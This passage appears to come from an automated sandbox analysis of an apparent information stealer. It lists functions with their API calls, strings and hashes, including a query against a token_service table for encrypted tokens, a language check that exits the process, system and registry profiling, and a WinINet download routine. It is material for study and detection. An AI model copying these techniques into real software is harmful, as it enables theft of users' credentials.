Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 07fcd334d6a3cc6cd41c4189edf2a6c3fee4a34ef7b8f0618d0ad5b8f0ce68ce
Instruction ID: 5a81a538920e1eef1a202c26f806d4123c640bc0ea390cd362036de5ea12403f
Opcode Fuzzy Hash: 07fcd334d6a3cc6cd41c4189edf2a6c3fee4a34ef7b8f0618d0ad5b8f0ce68ce
Instruction Fuzzy Hash: E3B14F71950108BBEB48EBE0DC96EEE733AFF54300F41415CF506A6091EF34AA49CBA6

Function 00646770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00646774
ExitProcess.KERNEL32 ref: 006467A5
ExitProcess.KERNEL32 ref: 006467AF
ExitProcess.KERNEL32 ref: 006467B9
ExitProcess.KERNEL32 ref: 006467C3
ExitProcess.KERNEL32 ref: 006467CD

Strings

*, xrefs: 0064678C

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 267f32bcb0cbf858df70d673729166937cc0ed3d54e75f9be75acea31629588b
Instruction ID: 1c6d514ccee3e68ef976e8355cf4fa173d4dc6a85d641155b68a4478d20ed996
Opcode Fuzzy Hash: 267f32bcb0cbf858df70d673729166937cc0ed3d54e75f9be75acea31629588b
Instruction Fuzzy Hash: F9F03A3090420DEFD34C9FE0E90D76C7B70FB45747F040198F64986294D6748A829B96

Function 00634FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00634FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00634FD1
InternetOpenA.WININET(00650DDF,00000000,00000000,00000000,00000000), ref: 00634FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00635011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00635041
InternetCloseHandle.WININET(?), ref: 006350B9
InternetCloseHandle.WININET(?), ref: 006350C6

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 225d54a82c9c156fc38ec64e86863e0a2f03824dce10a1f38b9a514404cc41b6
Instruction ID: 0b8c2701699a3f74f05176ecb2a7e957d05c779c4d66c1f3166385ea29284c68
Opcode Fuzzy Hash: 225d54a82c9c156fc38ec64e86863e0a2f03824dce10a1f38b9a514404cc41b6
Instruction Fuzzy Hash: 9F31F9B4A40218ABDB24CF54DC89BDCB7B5FB48704F1081D9FA09A7285C7706EC58F99

Function 00648100 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,01450228,00000000,?,00650E2C,00000000,?,00000000), ref: 00648130
RtlAllocateHeap.NTDLL(00000000), ref: 00648137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00648158
wsprintfA.USER32 ref: 006481AC

Strings

@, xrefs: 0064814D
%d MB, xrefs: 006481A3

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2922868504-3474575989
Opcode ID: b095ea2aacda836f471db228a31794356334804935215b5fad34de6503ba1a3b
Instruction ID: 2308df692471e4261baa7e2a0aa5f71c252b4357759eb13e0442e69cf09d04e3
Opcode Fuzzy Hash: b095ea2aacda836f471db228a31794356334804935215b5fad34de6503ba1a3b
Instruction Fuzzy Hash: 6B214AB1E44209ABDB04DFD4CC49FAEB7B9FB44B04F104219F605BB280C778A9018BA9

Function 006483DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00648426
wsprintfA.USER32 ref: 00648459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0064847B
RegCloseKey.ADVAPI32(00000000), ref: 0064848C
RegCloseKey.ADVAPI32(00000000), ref: 00648499

Part of subcall function 0064A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0064A7E6

RegQueryValueExA.ADVAPI32(00000000,014500A8,00000000,000F003F,?,00000400), ref: 006484EC
lstrlen.KERNEL32(?), ref: 00648501
RegQueryValueExA.ADVAPI32(00000000,01450150,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00650B34), ref: 00648599
RegCloseKey.ADVAPI32(00000000), ref: 00648608
RegCloseKey.ADVAPI32(00000000), ref: 0064861A

Strings

%s\%s, xrefs: 0064844D

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 53a4cceef4f3bf3ae4df5abfdc834ccf890e6a621329cf91b34e9d9e7617e49f
Instruction ID: 063b2849540b9b36e5c7966611795b6a091b9c7cc850de92520467ce1e1693b6
Opcode Fuzzy Hash: 53a4cceef4f3bf3ae4df5abfdc834ccf890e6a621329cf91b34e9d9e7617e49f
Instruction Fuzzy Hash: 05210A71900218AFDB68DB54DC85FE9B3B9FB48705F00C198A609A6180DF71AAC5CFD5

Function 00647690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006476A4
RtlAllocateHeap.NTDLL(00000000), ref: 006476AB
RegOpenKeyExA.ADVAPI32(80000002,0143CEB8,00000000,00020119,00000000), ref: 006476DD
RegQueryValueExA.ADVAPI32(00000000,014501E0,00000000,00000000,?,000000FF), ref: 006476FE
RegCloseKey.ADVAPI32(00000000), ref: 00647708

Strings

Windows 11, xrefs: 006476BD

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: ec01eab0967688e69f58668368f29564da6a37855785c655b582c4e343c90866
Instruction ID: ce1d846d6d293bf9fa86011c3f8dd771b1e2be921f21bffed63f3520afedddff
Opcode Fuzzy Hash: ec01eab0967688e69f58668368f29564da6a37855785c655b582c4e343c90866
Instruction Fuzzy Hash: 9B014FB5A44204BBEB04DBE4DC4DFADB7B9FB88702F104454FA08A7295D771D9848B92

Function 00647720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00647734
RtlAllocateHeap.NTDLL(00000000), ref: 0064773B
RegOpenKeyExA.ADVAPI32(80000002,0143CEB8,00000000,00020119,006476B9), ref: 0064775B
RegQueryValueExA.ADVAPI32(006476B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0064777A
RegCloseKey.ADVAPI32(006476B9), ref: 00647784

Strings

CurrentBuildNumber, xrefs: 00647771

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 68d867e4804959c438b8244e2c70af9200942eb97074bf8af3533bd295e38416
Instruction ID: 83ead87491061b66983fc8ab43b73ab4905144823a504594023282e78c3a05b3
Opcode Fuzzy Hash: 68d867e4804959c438b8244e2c70af9200942eb97074bf8af3533bd295e38416
Instruction Fuzzy Hash: 7E0144B5A40308BBE704DBE4DC4DFAEB7B8FB84705F104558FA09A7285D67095408B52

Function 006492E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(:d,80000000,00000003,00000000,00000003,00000080,00000000,?,00643AEE,?), ref: 006492FC
GetFileSizeEx.KERNEL32(000000FF,:d), ref: 00649319
CloseHandle.KERNEL32(000000FF), ref: 00649327

Strings

:d, xrefs: 00649311, 0064933D, 00649314
:d, xrefs: 006492F8, 006492FB

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: :d$:d
API String ID: 1378416451-2737858857
Opcode ID: ebee48d0f3d28f9d4c02d9886a4eaeefe3cf5b1be0bc197b9acf506aca29d726
Instruction ID: 31b7093225a06c170003ae1b242026bd136bdacb77d16dc46cc00c56eab258f8
Opcode Fuzzy Hash: ebee48d0f3d28f9d4c02d9886a4eaeefe3cf5b1be0bc197b9acf506aca29d726
Instruction Fuzzy Hash: 86F08C34E40208BBDB18DFB0DC09F9E77FABB88350F108254B655A72C4D670DA818F50

Function 006440B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 006440D5
RegOpenKeyExA.ADVAPI32(80000001,0144E7A0,00000000,00020119,?), ref: 006440F4
RegQueryValueExA.ADVAPI32(?,014504E0,00000000,00000000,00000000,000000FF), ref: 00644118
RegCloseKey.ADVAPI32(?), ref: 00644122
lstrcat.KERNEL32(?,00000000), ref: 00644147
lstrcat.KERNEL32(?,01450450), ref: 0064415B

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 2f4857f697b95f273a9490bb83d72261b670b3a9eefcfdd3dbec9401e5d02da0
Instruction ID: c8f6843053167a55145de2d4ca3c5ee677e6fe6be0590617af30a51a1568fe88
Opcode Fuzzy Hash: 2f4857f697b95f273a9490bb83d72261b670b3a9eefcfdd3dbec9401e5d02da0
Instruction Fuzzy Hash: AB416AB69001086BDB18FBA0DC5AFFE737DB788300F40455DB61A57185EA759BC88BD2

Function 006399C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006399EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00639A11
LocalAlloc.KERNEL32(00000040,?), ref: 00639A31
ReadFile.KERNEL32(000000FF,?,00000000,0063148F,00000000), ref: 00639A5A
LocalFree.KERNEL32(0063148F), ref: 00639A90
CloseHandle.KERNEL32(000000FF), ref: 00639A9A

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 9b5113d470399e149099a0b335645be6f790a7d990a08d04dafd90b5c06e5962
Instruction ID: 1ea715660b8077dc3d890998b55507f8612ee3afb81cebe64c2f7c8a3574e5e3
Opcode Fuzzy Hash: 9b5113d470399e149099a0b335645be6f790a7d990a08d04dafd90b5c06e5962
Instruction Fuzzy Hash: 24312B74A00209EFDB14DF94C889BEE77B6FF48341F108258E915A7394D775A981CFA1

Function 0064C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0064C8BF
___crtGetStringTypeA.LIBCMT ref: 0064C8EC
___crtLCMapStringA.LIBCMT ref: 0064C90C
___crtLCMapStringA.LIBCMT ref: 0064C931

Strings

, xrefs: 0064C896

Memory Dump Source

Source File: 00000000.00000002.1786637155.0000000000631000.00000040.00000001.01000000.00000003.sdmp, Offset: 00630000, based on PE: true

Associated: 00000000.00000002.1786611949.0000000000630000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.00000000006ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.0000000000712000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786637155.000000000087A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000A17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000AEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B14000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1786788624.0000000000B2C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787053492.0000000000B2D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787166219.0000000000CC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1787183804.0000000000CCA000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_630000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: a9922661b219bf2438093a7261df30d8d2fc5a9286099c04b5d7cbac8dfb406c
Instruction ID: 529c2c9e4f4806cc137be50168374e2c163109c5f2bfe8b008fd7ff5aab0cc5a
Opcode Fuzzy Hash: a9922661b219bf2438093a7261df30d8d2fc5a9286099c04b5d7cbac8dfb406c
Instruction Fuzzy Hash: 2F41277150175CAEDB618B24CC84FFBBBEA9F45314F1444ECE9CA86282D2719A45DF24

Function 00644780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,014503C0), ref: 006447DB

Part of subcall function 00648DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00648E0B

lstrcat.KERNEL32(?,00000000), ref: 00644801
lstrcat.KERNEL32(?,?), ref: 00644820
lstrcat.KERNEL32(?,?), ref: 00644834
lstrcat.KERNEL32(?,0143CA18), ref: 00644847
lstrcat.KERNEL32(?,?), ref: 0064485B
lstrcat.KERNEL32(?,0144E5A0), ref: 0064486F

Part of subcall function 0064A740: lstrcpy.KERNEL32(00650E17,00000000), ref: 0064A788

